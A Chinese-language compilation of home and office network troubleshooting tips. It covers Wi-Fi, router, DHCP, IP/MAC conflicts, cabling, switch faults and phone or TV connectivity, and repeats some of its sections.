常见网络故障解决方法 　　经常上网的朋友一般都知道网络故障种类虽然繁多，但常见故障无非就那么几个，我在这里整理出了四种最常见的网络故障判断以及解决方法，供大家参考： 　　1. 连上无线，但不能上网，出现黄色感叹号，这说明你连上了路由，但是猫(或者光猫)的.信号没能够传到你的路由器。 　　- 检查猫和路由中间的连线，重新拔插一下; 　　- 猫这里出了问题，检查猫的电源是否接通，重启猫，或者报修猫; 　　- 运营商那边出了问题，线路或者后台问题，直接报修; 　　- 还有种可能是路由DHCP占满或者没开启，电脑不能获取到IP，需要检查DHCP设置。 　　2. 连不上无线，无法连接无线(或者连接无线正常，但就是不能上网) 　　- 路由器死机，重启路由器; 　　- 是不是自己绑定了固定IP(而该IP不在路由器的IP地址段)，检查电脑IP设置，修改成自动获取; 　　- 电脑问题，重启电脑，清除之前电脑记录的无线SSID后重新连接;更新网卡驱动;更换电脑网卡。 　　3. 能够搜索到很多无线信号，但是唯独找不到自己的SSID 　　- SSID广播未开启，检查路由器设置，开启SSID广播; 　　- 路由器没开起来，检查路由器电源是否插好。 　　4. 无线是叉叉，或者搜索不到任何无线信号 　　- 电脑没开启无线或者无线被禁掉了，打开无线开关，激活网卡即可; 　　- 电脑网卡驱动有问题，重新安装驱动即可; 　　- 电脑网口或者路由器网口接触不良，需更换网线或者网口; 　　- 电脑网卡损坏，需更换。 ;

手机连接上WiFi却无法连接服务器的原因有：1、WiFi本身问题，可能WiFi未正常连接，导致无法上网。2、路由器问题，可能路由器过热或者损坏。3、可能宽带欠费，导致无法上网。4、WiFi名字包含中文，导致部分手机无法连接上网。5、手机系统问题，可能系统出现了问题，导致连接上了WiFi却无法上网。建议解决办法：1、使用其他手机或设备连接WiFi试试能否上网，排除WiFi本身问题。2、重启一下路由器试试，或者将路由器恢复一下出厂设置，然后重新拨号上网，并根据设置向导重新设置WiFi，或者更换新路由器再进行拨号连接上网。3、联系一下宽带客服，确认宽带账号是否有异常，如欠费，充值一下宽带，然后再拨号连接试试。4、如WiFi名字包含中文，建议修改为英文或者英文加数字的组合再进行连接。5、如以上原因都排除，那么久很有可能是手机系统问题了，建议恢复一下出厂设置或者刷机看看能否解决问题。

你好；基本都是当天。电信的宽带线路和设备的连接需要电信的宽带人员维护，一般都是在上班时间解决用户的宽带网络连接问题，下班时间一般是没有什么维护的。除非和用户有预约才能什么服务。

移动的宽带一般是没有自己的落地服务器的，所以周转的联通或是电信的落地服务器，而且是共享的带宽。平时人少的时候，是10M的，如果人多的话，同一时间用的话，就不是10M了，甚至连1M都达不到。网速不稳定是什么原因以及解决方法：家用有线宽带家用宽带一般都是ADSL拨号宽带，或者是光纤入户(FTTP)宽带，有些个的大城市已经普遍改造成了光纤入户宽带，网速比ADSL更快，如果出现网速慢或者不稳定，甚至掉线的情况。首选要确定是不是网络运营商（电信或网通等）那边的问题，包括运营商的机房问题，还有机房到自己家里的线路问题，这都属于运营商那边的问题，自己解决不了，需要打电话给运营商解决。也很可能是自己的宽带猫或电脑问题，电脑中病毒也会出现网速不稳定的情况，杀毒或者重装系统就能解决，还有就是电脑网卡硬件以及驱动问题，也会导致网速不稳定，可以自行更换新网卡或者更新网卡驱动就能解决了。 要是有多台电脑共享上网，有人在下载或者看在线电影的话，会造成别的用户网速不稳定或堵塞的情况，一般这种情况可以在路由器里开启流量控制功能就能解决了。无线宽带电脑或者手机使用3G无线宽带上网的话，出现网速不稳定一点也不奇怪，因为现在不管是电信还是移动、联通3G无线网络覆盖率都还非常低。3G信号太弱肯定会网速不稳定了，再有就是到晚上上网高峰期，3G无线网络速度很慢也很不稳定，这是网络堵塞造成的，自己没有办法解决。如果用户使用的是wifi无线宽带上网，出现网速不稳定的话，那就是要检查无线路由器是不是性能不行，或者设置上有问题，可以更换无线路由器产品或者重新设置路由器来解决。

故障一、100Mb的局域网速度没有10Mb的局域网速度快具体表现：由于所有工作站都是10-100Mb自适应网卡，而原来的全部采用的是10Mb的交换机，现将网络升级一下，全部换成100Mb交换机，发现交换机更换后，速度还没有原来快。部分机器甚至不能上网。故障分析：我们用ping命令ping一下该局域网的网关，发现掉包现象严重，用测线仪检查一下双绞线，发现一切正常。检查一下网线时，发现网线是原来用的三类线，不支持100Mb的网络。由于我们在网络升级的时候，只升级了网络交换设备，忽视了升级传输介质——网线。解决办法：更换网线说明：大家在升级网络的时候，一定要检查一下自己的配套设备如网卡、网线是否支持100Mb的网络工作环境，不要盲目升级其中一项，造成小马拉大车的不配套现象。要根据自己的资源，合理利用。对于目前的网络，大家在布线时，不如一步到位，选购安普（AMP）超五类网线，一是方便日后的升级，二者也可以使自己的网络速度得到稳定。故障二、IP地址与地址串发生冲突具体表现：所有机器，IP地址在网络中设置是唯一，总有两台机器，在启动的时候，出现一个地址与IP地址冲突与一串地址冲突。更改IP地址后依旧。而且在冲突时，只有一台机器可以上网。故障分析：仔细看了一下冲突的提示，是一串地址，会不会是物理地址冲突呢，也就是MAC地址冲突导致的呢？但总不能每台每台查找吧。用 IPbook超级网上邻居吧，朋友提示到。用IPbook超级网上邻居，扫描整个网络段，结果发现两台机器的网卡的MAC地址是完全相同的。解决办法：更换网卡。更换网卡后，问题解决。说明：所有工作在网络中的网络设备，包括网卡、交换机、路由器都有一个物理地址，叫MAC地址。MAC地址包含了该网络设备的厂商和在全球网络设备中唯一的序列号。所有的网络数据交换，都是基于MAC地址的交换，而不是基于IP地址的交换。因此，如果MAC地址冲突，IP地址不冲突的话，也会造成网络中断,因为数据找不到终点。因此，大家在购买网卡的时候，一定要买正品，不要为了贪图便宜，买了次品。如果是网卡MAC 地址冲突，更换一块，还是小事。如果是交换机发生MAC地址冲突，那你就麻烦大了。故障三、100Mb的网络网络速度不稳定具体表现：网卡采用10-100Mb自适应网卡，交换机为全双工10-100Mb交换机。在上网的时候，网络速度时快时慢故障分析：用ping命令检查的时候，也没有掉包现象，一切正常，偏偏下速度不正常。检查了网络设置，也正常。后来仔细看了一个交换机的指示灯，发现交换机老是在10Mb和100Mb两种工作状态下转换。问题搞定了。解决方法：发现问题了，如何不让他自动切换工作状态呀。仔细看了机器中网卡的属性，值中指定的速度是AUTO，我把他改成100Mb Full后。测试了一下，一切正常了。说明：一些网络问题的发生，要首先检查一下所有的网络设备，然后分析一下原因，相信解决问题的速度会很快的。故障四、网络中所有机器全部IP地址冲突具体表现：机器启动后，所有的机器出现IP地址冲突。检查了一下IP地址设置，没有重复。工作使用WinXP操作系统。故障分析：所有的工作站开机后，进入桌面，自动弹出IP地址冲突的提示，而每台客户机使用的是固定的IP地址，没有地址冲突。于是决定在XP的DOS下查看一下网络配置。运行了一下ipconfig /all,发现网络中有一个DHCP服务器在运行，给这台机器动态分配的IP地址与其他机器的IP地址发生了冲突。说明一下，DHCP服务器是网管在进行网络克隆时，为了方便建立的。结果网络克隆结束后，忘记把服务停止了。解决方法：1、把DHCP服务器关闭 2、把DHCP服务的IP地址池更改一下，排除所有正在使用的固定的 IP地址

通常导致手机连接WiFi显示“已停用”故障的原因是由于无线路由器“安全模式”设置不当造成的，对此我们可以通过以下方法来解决。　　1、根据无线路由器背面的信息（包括路由器IP地址，登陆用户名和密码），登陆路由器管理地址即打开页面设置。　　2、在路由器管理界面中，切换到“无线设置”选项卡，点击“无线加密”项，在此界面可以设置“安全模式”。　　3、点击“安全模式”下拉列表，从其扩展列表中选择“WPA2-PSK”项，此项是所有手机均可支持的安全加密模式。　　4、点击“确定”按钮保存设置。最后切换到“系统工具”选项卡，点击“重启路由器”按钮重启一下路由器即可。　　5、最后就可以尝试利用手机连接该WiFi热点啦，如果故障依然存在，建议更换其它“安全模式”类型来尝试解决。

网络故障诊断以网络原理、网络配置和网络运行的知识为基础，从故障的实际现象出发，以网络诊断工具为手段获取诊断信息，沿着 OSI 七层模型从物理层开始依次向上进行，逐步确定网络故障点，查找问题的根源，排除故障，恢复网络的正常运行。 网络故障症状包括一般性的（如用户不能上网、不能访问网上邻居等）和较特殊的（如路由器不在路由表中）。常见的网络排障思路如下： 第一步：识别并描述故障现象 分析网络故障时，首先要清楚故障现象，应该详细了解故障的症状和潜在的原因。例如，服务器不响应用户的请求，可能的故障原因是服务器配置问题、接口卡故障或路由器配置命令丢失等。收集需要的用于帮助隔离可能故障原因的信息，如广泛地从用户、网络管理系统、协议分析跟踪、路由器诊断命令的输出报告、软件说明书中收集。 第二步：制定诊断方案，列举可能导致故障的原因 可以根据有关情况排除某些故障原因。例如，根据某些信息可以排除硬件故障，从而把注意力放在软件上。 第三步：排除故障 认真做好每一步测试和观察，每改变一个参数都要确认其结果，确定问题是否解决。如果没有解决，继续下去，直到故障症状消失。 【实例 1 】不能访问服务器 要先测试一下这一故障是否只影响一台工作站，这可以通过其他工作站访问服务器来证实。如果有类似故障的工作站出现在同一网段或连接在同一交换机上，那么就要分析这一网段子网掩码是否设置正确，交换机是否正常工作。除此之外，还要看一下服务器是否禁止了这一网段工作站的服务。 【实例 2 】传输上百兆数据时出现 “ 网络资源不足 ” 的提示 新买来一台微机，接入局域网，当与其他的微机传输几十兆的数据时没有任何问题，但达到上百兆时，过一会儿就会出现 “ 网络资源不足 ” 的提示，紧接着就再也找不到网络邻居了。 按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，因为现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。

如出现宽带故障，您可先通过以下方法进行排障：〖1〗使用单机拨号，如有使用路由器，请暂时断开路由器测试；〖2〗重启知modem和电脑；〖3〗重新创建宽带拨号连接，再拨号尝试。操作方法：开始＞程序＞附件＞通内迅＞新建连接向导。若自行排障仍然没有恢复，可联系人工客服进行申告故障，将尽快为您处理。以上信息仅供参考，天翼看家，七天监控视频回看，随时查看，安心到家，详情可登录广西电信网上营业厅查看,客服107号为您解答。

就是网络有问题，不能正常观看。具体原因及解决方案如下所示：电视机的网络设置有问题导致的；可以进入网络设置界面，重新设置连接家里的WiFi信号试试。路由器设置有问题或者路由器故障导致的，可以重启一下路由器来解决；如果是路由器硬件故障，则需要联系售后进行检修或者更换路由器使用才能解决。网络服务提供商的网络线路、服务器是否出现中断、故障导致路由器也无法连接网络，这种情况下电视机也必然断网，需要联系网络服务提供商先解决网络传输问题。也可能是电视机系统问题导致网络异常，可以重启一下电视机来解决，必要时可以进入系统设置界面，将电视机的系统还原为出厂设置状态或升级到最新版本来解决。以上问题排查后电视机仍然无法正常联网，则可能是电视机的网络模块故障、天线故障、内部电路或者主板及其他零部件故障等，需要联系电视机的售后服务进行全面检测和维修才能解决。

问题1：逮捕物理层的滥用者故障症状：不能登陆或时断时续。只影响一个工作站，而该站原先没有问题。问题分析：电缆终端链路太长。用户每天都移动，弯曲，连接和切断网络终端（尤其时膝上型笔记本电脑）。廉价的电缆测试仪就能检查这种问题。在你能确切地说是电缆的问题之前，通常首先考虑不是电缆的问题。这需要使用网络测试工具来证明本地网段的健康状况是否良好，集线器端口功能是否正常，网卡及其驱动程序工作是否良好。最后，检查网络互连设备是否有问题。只有此时，你才会知道为了孤立有问题的终端，断开的连接器或是接地回路等问题该从何处着手测试电缆。在铜轴线网络中，搜寻在同轴“T型头”和网卡之间的断头，在UTP网络中，连续运行仪器图测试功能，不断扭动终端以识别接触不良或短路。问题2：快速以太网比升级前的以太网还慢故障症状：10Mbps的以太网速度慢，升级为100Mbps快速以太网后甚至不能连接上网。影响新工作站或升级的工作站连接上网。问题分析：对于UTP5类非屏蔽双绞线，用电缆测试仪测试其是否符合对应100Mbps传输速率的EIA/TIA-TSB67标准。某些在10Mbps以太网工作正常的电缆链路因为近端串扰太大在100Mbps以太网就不能正常工作。信号耦合到邻近线对引起高频信号传输失败。将UTP的线对分开甚至会使网络在达到一定流量时瘫痪。问题3：无效的看门狗故障症状：不能连接Novell网络的Netware远程服务器。影响本网段内与服务器相连的所有工作站。问题分析：检查网段的健康状况，注意观察其利用率，碰撞，错误帧和广播帧水平。此时可观察到大量的碰撞或错误帧，该碰撞或错误帧可引起客户机和服务器之间“Hello”帧出现延迟。在某一指定的服务器所在的远端网段重复此测试。如果两个网段都出现空白，用网络测试仪向路由器中的SNMP代理查询，检查两个网段之间的路由表。确定该路径不存在拥挤问题。为了有效地使用资源，在看门狗允许的时间内如果客户机对“Hello”帧无反应，则Novell服务器会将该客户机注销。问题4：刍菊链效应故障症状：网络服务变慢。影响某个以太网段的所有用户。网络服务（访问服务器）变慢，但与所连接的某的服务器无关。问题分析：在高峰时段将网络测试仪连入集线器，运行网络健康状况测试。此时将会观察到大量错误帧。在10BASE-2网络中，错误帧的类型归类为“延迟碰撞”。在10BASE-T网络中帧错误的类型归类为典型的帧校念序列错误（FCS错误），随着网络用户的增长，新增加的集线器通常与原来的集线器形成效应。问题5：IP网络管理者的报应故障症状：一个工作站间隙性出错，不能登陆或者不能访问远端服务器。只影响一个工作站，通常在增加、移动、变更工作站后出现此问题。问题分析：先排除用户是否有帐户和安全设置方面的潜在问题。让用户登陆并且试图从另一个工作站重复这一操作。如果成功，则可以用网络测试仪从用户端到服务器之间的链路状况。然后测试网卡，检测硬件和驱动程序的功能和状况。如果没有问题则检查IP设置，确定用户的IP地址是否有效或者是否有重复的IP地址。确定本网段的子网掩码和路由器默认地址是否正确，DNS服务器（如果有）地址是否专用。如果一个新工作站的IP地址与打印服务器的u2002IP地址设置重复，将会把每个人的打印工作指向该新客户机。问题6：光纤错觉故障症状：整个网络变慢，影响所有连接到网段上的工作站。问题分析：在正常的网络使用时段，将网络测试仪连接到集线器，在光纤连接的两端产生流量，测试健康状况。在某一时刻断开或接上光纤，每当光纤连入网段时，就会观察到大量的错误帧。劣质的光纤链路连接会在其附属的网段中产生大量垃圾帧，迫使工作站重发帧，网络速度变慢。问题7：奇怪！难道电缆在夜间受到过撞击？故障症状：不能连接上网或不能登陆，网段上只有一个工作站能上网。问题分析：断开工作站的连接电缆，接上网络测试仪，注意从集线器上检测不到连接信号。运行电缆测试，查看从办公室到配线间之间的电缆是否开路。如果不正常，将工具设置在音频发生器位置，从配线间用音频探测器查出与办公室对应的电缆，通常情况下，在配线间有变动时，电缆线索会受到推挤和碰撞，引起连接器脱落或松动。问题8：“病人”的心还在跳吗？故障症状：在网络繁忙的高峰期访问网络的速度很慢，个别网段的所有工作站对不论是本网段的服务器还是其它网段的服务器都无反应。问题分析：在高峰时段将网络测试仪连接到该网段。运行该网段的网络健康测试，注意网络的利用率、碰撞、错误帧、广播帧的状况，此时可能看到平均碰撞率不正常，观察到的流量中可能有高达50%是碰撞帧碎片。这是帧信号收发错误——SQE(Signalu2002qualityu2002error)的表现。“心跳”信号被不经意地停留在“博”的位置。问题9：可以连接，但不能登陆故障症状：不能登陆到欲连接的服务器。问题通常在新安装或重新设置工作站后出现，但仅限于一个工作站。问题分析：断开工作站连线，接上网络测试仪，执行IPXu2002Ping或者在取得服务器列表后来检查配置的哪一层的网络协议。注意帧的封装类型（例如802.2）。现在可以测试网卡，检查安装和运行程序是否正确。还要注意检查网卡绑定帧的类型（比如802.3）。两个帧类型要匹配，如果服务器和工作站运行的帧类型不同，则不能连接上网。问题10：莫名其妙得间歇性连接中断问题分析：服务速度太慢，连接间歇性中断。问题仅再一个网站上出现，与正在访问的代理服务器无关。断开网站，接上一个具有流量发送（此为诊断过程的一部分）功能的测试工具，检查网络的利用率，碰撞和错误帧水平，确定网络是否健康。若仪器检测通过而只是网站时通时断，则表明是典型的物理层故障。进行电缆链路测试（包括用户连接电缆），此时长度测试可能显示电缆超长（UTP电缆为100米，铜轴电缆为185米）。超过IEEE规定的允许长度，着将会引起局域网内的传输信号严重衰减。

常见网络故障解决方法　　经常上网的朋友一般都知道网络故障种类虽然繁多，但常见故障无非就那么几个，我在这里整理出了四种最常见的网络故障判断以及解决方法，供大家参考：　　1. 连上无线，但不能上网，出现黄色感叹号，这说明你连上了路由，但是猫(或者光猫)的.信号没能够传到你的路由器。　　- 检查猫和路由中间的连线，重新拔插一下;　　- 猫这里出了问题，检查猫的电源是否接通，重启猫，或者报修猫;　　- 运营商那边出了问题，线路或者后台问题，直接报修;　　- 还有种可能是路由DHCP占满或者没开启，电脑不能获取到IP，需要检查DHCP设置。　　2. 连不上无线，无法连接无线(或者连接无线正常，但就是不能上网)　　- 路由器死机，重启路由器;　　- 是不是自己绑定了固定IP(而该IP不在路由器的IP地址段)，检查电脑IP设置，修改成自动获取;　　- 电脑问题，重启电脑，清除之前电脑记录的无线SSID后重新连接;更新网卡驱动;更换电脑网卡。　　3. 能够搜索到很多无线信号，但是唯独找不到自己的SSID　　- SSID广播未开启，检查路由器设置，开启SSID广播;　　- 路由器没开起来，检查路由器电源是否插好。　　4. 无线是叉叉，或者搜索不到任何无线信号　　- 电脑没开启无线或者无线被禁掉了，打开无线开关，激活网卡即可;　　- 电脑网卡驱动有问题，重新安装驱动即可;　　- 电脑网口或者路由器网口接触不良，需更换网线或者网口;　　- 电脑网卡损坏，需更换。

如何修复网络故障？网络故障是我们在日常生活和工作中都会遇到的问题，对于依赖网络的人们来说，一旦网络故障会给工作和生活带来很大的影响。那么，当我们遇到网络故障时，应该如何处理呢？本篇文章将介绍如何修复网络故障。1.检查网络连接首先，我们需要检查网络连接是否正常。如果我们使用无线网络，可以先检查路由器是否正常工作，然后尝试重启路由器。如果我们使用有线网络，可以检查网络线缆是否插入正确的插口，并确保插头连接稳固。2.检查网络设置如果网络连接正常，我们还需要检查一下网络设置是否正确。首先，我们需要检查IP地址、子网掩码和网关是否正确设置。如果这些设置不正确，网络将无法连接。如果我们使用路由器连接网络，还需要确保路由器的配置正确。我们可以尝试重启路由器来解决这些问题。3.检查网络驱动程序如果网络连接和网络设置都没有问题，我们可以考虑检查网络驱动程序。网络驱动程序是与网络适配器相关联的软件，如果驱动程序损坏或过时，可能会导致网络连接问题。我们可以打开设备管理器，找到网络适配器并更新相关的驱动程序。4.检查防火墙设置有些防火墙程序可能会阻止网络连接，如果我们遇到网络连接问题，可以检查一下防火墙设置。首先，我们需要确保防火墙程序已启动，然后检查防火墙设置是否正确。5.使用网络修复工具现在，许多操作系统都提供了网络修复工具，这些工具可以帮助我们自动修复网络故障。我们可以在控制面板中找到网络和共享中心，然后选择“故障排除问题”，系统会自动检查并修复网络故障。总结：以上是修复网络故障的几个方法，如果您遇到网络连接问题，可以尝试按照上述步骤来解决问题。当然，最好的解决方法还是预防措施，我们应该定期更新网络设备和驱动程序，以确保网络连接的稳定性。

1.解决方案一，抢WiFi或数据流量，家有多个WiFi或者手机为双卡双待，切换其他WiFi或其他网络运营商移动、联通、电信进行尝试，不支持双卡也可以尝试用其他手机分享热点抢号，手机连接分享热点后进行抢号。2.解决方案二，数据流量多次尝试均无法抢号，建议切换其他网络模式3G或者2G。3.解决方案三，切换网络模式还是不能进行抢号，可以尝试切换接入点，Apn接入点的选

故障1：交换机刚加电时网络无法通信故障2：5口交换机只能使用4口故障3：“COL”指示灯长亮或不断闪烁，无法实现通信故障4：升级至千兆网络之后，服务器连接时断时续故障5：尽管Link灯不停闪动，但网速却奇慢故障6：服务器资源共享故障故障7：集线器和路由器无法共享上网故障8：IP地址冲突

如果您的WiFi突然无法连接并显示网络已停用，这可能是由于多种原因引起的，包括网络故障、设备问题、配置问题等等。以下是一些可能有用的步骤：1、确认其他设备是否能够连接到同一个WiFi网络，如果其他设备也无法连接，那么可能是网络故障引起的，可以联系网络提供商或者管理员寻求解决方法。2、尝试重启WiFi路由器或调制解调器，有时候重启这些设备可以解决连接问题。3、检查设备是否已启用WiFi功能，如果没有启用，可以在设备设置中启用WiFi功能。4、忘记并重新连接WiFi网络，可以在设备设置中忘记该WiFi网络，然后重新连接WiFi网络。5、检查设备是否已连接到正确的WiFi网络，有时候设备会自动连接到错误的WiFi网络，导致连接失败。6、检查WiFi网络的安全设置，确保设备已经输入了正确的安全密码或验证方式。如果以上步骤都无法解决问题，您可以尝试联系设备制造商或网络提供商的技术支持团队，以获得更进一步的帮助。

手机网络故障原因以及解决办法： 1、手机SIM卡损坏，导致手机没有信号，所以网络故障，去当地营业厅重新补办SIM卡即可。 2、卡槽触点接触不良，造成无法识别SIM卡，到维修店维修卡槽即可。 3、手机Root后，系统故障，导致网络故障，到维修店恢复手机系统即可。 4、手机固件损坏，导致网络故障，到维修部进行检测维修即可。 5、所处环境有信号干扰装置，手机信号被屏蔽，更换其他地点即可。